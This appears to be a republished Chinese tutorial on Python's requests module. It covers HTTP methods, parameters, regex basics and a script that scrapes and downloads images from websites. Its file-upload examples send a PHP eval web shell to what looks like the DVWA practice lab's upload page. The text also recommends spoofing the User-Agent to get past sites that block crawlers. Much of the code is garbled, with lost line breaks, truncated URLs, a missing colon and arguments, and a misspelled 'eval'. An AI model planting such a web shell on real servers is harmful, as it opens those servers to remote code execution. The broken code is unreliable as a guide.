python requests模块的使用以及网页信息爬取

编程入门 行业动态 更新时间:2024-10-06 18:22:02

python requests<a href=https://www.elefans.com/category/jswz/34/1771428.html style=模块的使用以及网页信息爬取"/>

python requests模块的使用以及网页信息爬取

python requests模块的使用以及网页信息爬取

文章目录

  • python requests模块的使用以及网页信息爬取
  • 网页信息爬取
    • REQUEST模块
      • 模块中的请求方法
      • 请求方法中的参数
      • 响应对象中属性
    • 获取网站中的源代码
    • 获取图片地址
      • 匹配单个字符
      • 匹配一组字符
      • 其他元字符
      • 核心函数
    • 图片下载
  • requests 模块基本用法
      • 模拟浏览器指纹
      • 发送GET 参数
      • 发送post请求参数
      • 文件上传
      • 服务器超时
  • 案例
      • 网页图片爬取
      • requests 模块用法
        • 模拟浏览器指纹
        • 发送get 参数
        • 发送post 参数
        • 文件上传
        • 服务器超时

网页信息爬取

  • 获取网页内容;
  • 从网页内容中提取图片地址;
  • 通过图片地址,将图片下载到本地。

要想实现此功能需要有python模块来实现

REQUEST模块

requests 模块:主要是用来模拟浏览器行为,发送HTTP 请求,并处理HTTP 响应的功能

urllib2模块也可以实现request更接近人类

模块中的请求方法

请求方法说明
requests.get()GET 方法
requests.post()
requests.head()只返回响应头部,没有响应正文。
requests.options()
requests.put()
requests.delete()

请求方法中的参数

参数名字参数含义
url请求URL 地址
headers自定义请求头部
params发送GET 参数
data发送POST 参数
timeout请求延时
files文件上传数据流

响应对象中属性

方法名解释
response.text响应正文(文本方式)
response.content响应正文(二进制)
response.status_code响应状态码
response.url发送请求的URL 地址
response.headers响应头部
response.request.headers请求头部
response.cookiescookie 相关信息

关键字获取的内容信息

其中值得一提的是user-Agent是浏览器指纹,很多网站是禁止爬虫访问的,我们可以通过修改user-Agent来骗过服务器

获取网站中的源代码

import requestsurl=""
headers= {"User-Agent":""
} # 自定义浏览器指纹
def get_content(url,headers):res = requests.get(url = url,headers = headers) #传入url 和 自定义请求头部修改浏览器指纹return  res.content  # 获取网站内容
html = 	get_content(url,headers).decode() #因为是二进制文件需要解码

获取图片地址

想要实现此方法有两种方式

第一种: 正则表达式

想要用到python中的re模块

匹配单个字符

记号说明
.匹配任意单个字符(换行符除外). 表示真正的.
[…x-y…]匹配字符集合里的任意单个字符
[^…x-y…]匹配不在字符组里的任意单个字符
\d匹配任意数字,与[0-9] 同义
\w匹配任意数字、字母、下划线,与[0-9a-zA-Z_] 同义
\s匹配空白字符,与[\r\v\f\t\n] 同义

匹配一组字符

记号说明
字符串匹配字符串值
字符串1|字符串2匹配字符串1或字符串2
*左邻第一个字符出现0 次或无穷次
+左邻第一个字符最少出现1 次或无穷次
?左邻第一个字符出现0 次或1 次
{m,n}左邻第一个字符出现最少m 次最多n 次

其他元字符

记号说明
^匹配字符串的开始 集合取反
$匹配字符串的结尾
\b匹配单词的边界,单词包括\w 中的内容
()对字符串分组
\数字匹配已保存的子组

核心函数

核心函数说明
re.findall()在字符串中查找正则表达式的所有(非覆盖)出现;返回一个匹配对象的列表。
re.match()尝试用正则表达式模式从字符串的开头匹配 如果匹配成功,则返回一个匹配对象 否则返回None
re.search()在字符串中查找正则表达式模式的第一次出现 如果匹配成,则返回一个匹配对象 否则返回None
re.group()使用match 或者search 匹配成功后,返回的匹配对象 可以通过group() 方法获取得匹配内容
re.finditer()和findall() 函数有相同的功能,但返回的不是列表而是迭代器 对于每个匹配,该迭代器返回一个匹配对象
re.split()根据正则表达式中的分隔符把字符分割为一个列表,并返回成功匹配的列表字符串也有类似的方法,但是正则表达式更加灵活
re.sub()把字符串中所有匹配正则表达式的地方换成新的字符串
import re
def get_img_path(html)img_path = re.findall(r'style/\w*\.jpg')return img_path
img_path=img_path(html)

图片下载

def save_img(img_save_path, img_url):with open(img_save_path, "wb") as f:f.write(get_html(url = img_url))img_url = url + img_path
save_img("./images/1.jpg", img_url)

requests 模块基本用法

模拟浏览器指纹

headers= {"User-Agent":""
} # 自定义浏览器指纹
request.get(url="/",headers=headers) #请求时发送自定义指纹

发送GET 参数

params={"student":"xl","age": 22 ,
}
request.get(url="/",params=params) #以get方法向服务器发送请求

发送post请求参数

data={"student":"xl","age": 22 ,
}
request.post(url=""/"",data=data) #以get方法向服务器发送请求

文件上传

headers = {"User-Agent":   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36","Cookie": "security=low; PHPSESSID=378olurk9upvuo9sspecnl46c2"
}data = {"MAX_FILE_SIZE":    "100000","Upload":           "Upload"
}files = {"uploaded": ("2.php",b"<?php @eva1($_REQUEST[777])?>","image/png") 
}
res = requests.post(url =".0.1/vulnerabilities/upload/", headers = headers, data = data, files = files)

服务器超时

def timeout(url):try:res = requests.get(url = url, timeout = 3)return res.textexcept requests.exceptions.ReadTimeout:return "timeout"print(timeout(".php"))

案例

网页图片爬取

import requests
import re
def get_html(url):headers = {"User Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.76"}return  requests.get(url=url, headers=headers).content
def get_image_path(html):image_path_list = re.findall("style/\w*\.jpg",html)return image_path_list
def download_image(image_path,url,save_src):for  path in image_path:src = url + pathprint(f"爬取成功{src}")image_name = input("请输入要保存的文件名字:")with open(save_src+image_name+".jpg", "wb") as f:f.write(get_html(src))url= input("请输入要爬取的网站:")
html=get_html(url).decode()
image_path=get_image_path(html)
save_src = input("请输入要保存的地址:")
download_image(image_path,url,save_src)

成果:

requests 模块用法

模拟浏览器指纹

在浏览器开发者模式console面板 输入navigator.userAgent查看浏览器指纹Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.76

import requestsresponse = requests.get(url="/",headers=
{"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.76"
})
print(response.request.headers)

结果:

发送get 参数

找一个能接收get参数的网页

import requestsresponse = requests.get(url=".php",params={"name":"xl","age" : 22,
})
print (response.text)

发送post 参数
import requests
response = requests.post(url=".php",data={"姓名" : "小洛","年龄" :  24,"兴趣" : "唱,跳,rap,打篮球"
})
print(response.content.decode("utf-8"))

文件上传
import requests
file_upload={"uploaded":('123.php',"<?php @eval($_REQUEST[777]?>)")
}
headers={"cookie":"security=low; PHPSESSID=svckqaulefuns35jkqj9u0ai27"
}
data={"MAX_FILE_SIZE":100000,"Upload": "Upload"
}
url=".0.1/vulnerabilities/upload/"
reponse=requests.post(url=url,headers=headers,data=data,files=file_upload)
print(reponse.text)

服务器超时
import requests
try:response=requests.get(url=".php",timeout=2)except requests.exceptions.ReadTimeout:print("超时")
except Exception:print("网页无法访问")
else:print(response.text)
finally:print("脚本执行完成")

更多推荐

python requests模块的使用以及网页信息爬取

本文发布于:2023-11-17 10:56:08,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1640793.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:模块   网页   信息   python   requests

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!